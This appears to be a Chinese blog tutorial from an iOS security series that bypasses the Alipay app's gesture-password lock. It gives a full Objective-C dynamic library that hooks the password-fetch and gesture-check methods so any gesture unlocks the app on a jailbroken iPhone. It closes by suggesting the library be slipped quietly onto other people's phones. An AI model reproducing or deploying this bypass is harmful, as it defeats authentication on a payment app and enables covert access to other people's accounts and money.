在 iOS安全攻防(十一):Hack實戰——探究支付寶app手勢密碼 中,介紹瞭如何利用gdb分析app,確定了支付寶app的手勢密碼格式為字串,9個點分別對應123456789。在 iOS安全攻防(十二):iOS7的動態庫注入 中,介紹瞭如果利用越獄大神們為我們開闢的iOS7動態庫注入方法。
本文將繼續深入hack實戰,hook支付寶手勢密碼校驗操作,欺騙其通過任意手勢輸入。
那麼到現在為止,我們已經掌握了什麼資訊呢?
1)一個名叫 GestureUnlockViewController 的類,含有 gestureInputView:didFinishWithPassword: 方法,來處理輸入的手勢
2)正確的手勢密碼通過一個名叫 GestureUtil 的類讀取,方法是 getPassword
思路馬上清晰了,我們需要做2步:
1)hook getPassword 存下正確的密碼
2)hook gestureInputView:didFinishWithPassword: 替換當前輸入為正確的密碼
一個關鍵點,我們是用 Method Swizzling來hook,那麼就意味操作不能過早,因為我們要保證在取到 GestureUnlockViewController 和 GestureUtil class後,才能進行imp替換。
所以, 我採用NSNotificationCenter通知機制協助完成任務。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
#import <objc/runtime.h> #import <UIKit/UIKit.h> IMP ori_getPasswd_IMP = NULL; IMP ori_gesture_IMP = NULL; @interface NSObject (HackPortal) @end @implementation NSObject (HackPortal) + (id)getPassword { NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword)); return passwd; } - (void)gestureInputView:(id)view didFinishWithPassword:(id)password { password = ori_getPasswd_IMP(self, @selector(getPassword)); ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password); } @end @implementation PortalListener - (id)init { self = [super init]; if (self) { [[NSNotificationCenter defaultCenter]addObserver:self selector:@selector(appLaunched:) name:UIApplicationDidBecomeActiveNotification object:nil]; } return self; } - (void)appLaunched:(NSNotification *)notification { Class class_GestureUtil = NSClassFromString(@"GestureUtil"); Class class_PortalListener = NSClassFromString(@"PortalListener"); Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword)); ori_getPasswd_IMP = method_getImplementation(ori_Method); Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword)); method_exchangeImplementations(ori_Method, my_Method); Class class_Gesture = NSClassFromString(@"GestureUnlockViewController"); Method ori_Method1 = class_getInstanceMethod(class_Gesture, @selector(gestureInputView:didFinishWithPassword:)); ori_gesture_IMP = method_getImplementation(ori_Method1); Method my_Method1 = class_getInstanceMethod(class_PortalListener, @selector(gestureInputView:didFinishWithPassword:)); method_exchangeImplementations(ori_Method1, my_Method1); } -(void)dealloc { [[NSNotificationCenter defaultCenter]removeObserver:self]; } @end static void __attribute__((constructor)) initialize(void) { static PortalListener *entrance; entrance = [[PortalListener alloc]init]; } |
OK!編譯好動態庫,塞進iPhone試試效果吧~
不管我們輸入什麼手勢,都會被替換為正確的密碼去給gestureInputView:didFinishWithPassword:驗證,然後順利解鎖。
這意味著什麼呢?意味著,我們可以通過正規的渠道讓使用者下載這個動態庫,然後悄悄放進越獄的 iPhone的 /Library/MobileSubstrate/DynamicLibraries/ 目錄下……然後……然後去給妹紙帥鍋變魔術吧:“你看,我和你多心有靈犀,你改什麼密碼我都猜的到!”